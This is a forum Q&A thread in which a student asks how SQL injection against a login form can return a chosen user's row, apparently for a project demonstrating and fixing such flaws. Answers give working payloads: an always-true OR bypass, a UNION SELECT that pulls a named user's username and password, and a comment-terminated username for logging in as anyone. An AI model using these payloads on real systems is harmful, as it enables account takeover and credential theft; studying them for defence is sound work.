When I put Username:anything and Password : 1'or'1'='1, my database retrieves the first row from MYSQL table. How do I retrieve the row corresponding to Username:anything? This is for a project in which I need to show all possible SQL vulnerabilities and rectify them.
2 Answers
Basically the sql would look like this:
select * from table
where username='anything' and pw='1' or '1'='1'
We know that 'and' has precedence over 'or' so:
select * from table
where (username='anything' and pw='1') or '1'='1'
So if the 'anything''s password is not '1' you will get the first row since '1'='1' is always true
UPDATE:
To get the result you want you have to change username value and so for password, I'm not sure but this is nearly the values you should inject:
username='anything ('
pw=1') or '1'='1'
-
Given that
'anything ('
would (assuming it escaped the variable replacement) cause a syntax error, you need to add more Boolean checks. Personally, I'd probably swap out the ` or '1' = '1'` check for something that uses the desired username... Oct 24, 2014 at 10:29
Most probably the login sql query should look like this.
select * from table
where username='user' and password='pass'
Now your aim is to get the row corresponding to the value specified as the "username".
So for that just inject an UNION query,better not to be more confused with other methods.
Here below goes the value of "username" field.
' UNION ALL SELECT username,password from users where username='ShihabSoft' --
So after injecting the final query will look like this.
select * from users where username='' UNION ALL SELECT username,password from users where username='ShihabSoft' --
So if you wanna get the row of a specified user,just change the value 'ShihabSoft' to any other username.
And it is just for an example because you did't even specified the query in your question.So the number of columns in the UNION query may differ according the number of columns specified in the actual query.
-
2
-
Yo yo gumbo.If so why is the need of your injection point.Just put this someuser' -- in the username parameter to accomplish this.But iam always being informative and different.Jz eloborated things to more efficient injection point. Oct 25, 2014 at 10:33
-